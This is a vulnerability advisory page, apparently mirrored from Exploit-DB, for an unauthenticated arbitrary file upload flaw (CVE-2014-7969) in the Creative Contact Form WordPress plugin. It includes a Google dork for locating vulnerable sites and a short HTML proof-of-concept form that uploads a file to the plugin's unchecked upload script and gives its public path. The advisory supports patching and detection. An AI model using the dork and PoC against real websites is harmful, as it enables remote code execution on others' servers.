Creative Contact Form - The Best WordPress Contact Form Builder - Arbitrary File Upload

vendor:

Creative Contact Form

by:

Gianni Angelozzi

7,5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: Creative Contact Form

Affected Version From: all including latest 0.9.7

Affected Version To: all including latest 0.9.7

Patch Exists: YES

Related CWE: CVE-2014-7969

CPE: a:creative_solutions:creative_contact_form

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WordPress

2014

Creative Contact Form – The Best WordPress Contact Form Builder – Arbitrary File Upload

This plugin includes a PHP script to accept file uploads that doesn't perform any security check, thus allowing unauthenticated remote file upload, leading to remote code execution. All versions are affected. Uploaded files are stored with their original file name.

Mitigation:

Ensure that the application performs appropriate security checks on uploaded files.

Source

Exploit-DB raw data:

==========================================================
"Creative Contact Form - The Best WordPress Contact Form Builder" -
Arbitrary File Upload

# Author: Gianni Angelozzi
# Date: 08/10/2014
# Remote: Yes
# Vendor Homepage: https://profiles.wordpress.org/creative-solutions-1/
# Software Link: https://wordpress.org/plugins/sexy-contact-form/
# CVE: CVE-2014-7969
# Version: all including latest 0.9.7
# Google Dork: inurl:"wp-content/plugins/sexy-contact-form"

This plugin includes a PHP script to accept file uploads that doesn't
perform any security check, thus allowing unauthenticated remote file
upload, leading to remote code execution. All versions are affected.
Uploaded files are stored with their original file name.
==========================================================
PoC
==========================================================
Trigger a file upload

<form method="POST" action="
http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>
Then the file is accessible under

http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/files/FILENAME
==========================================================
EOF


Thanks,

Gianni Angelozzi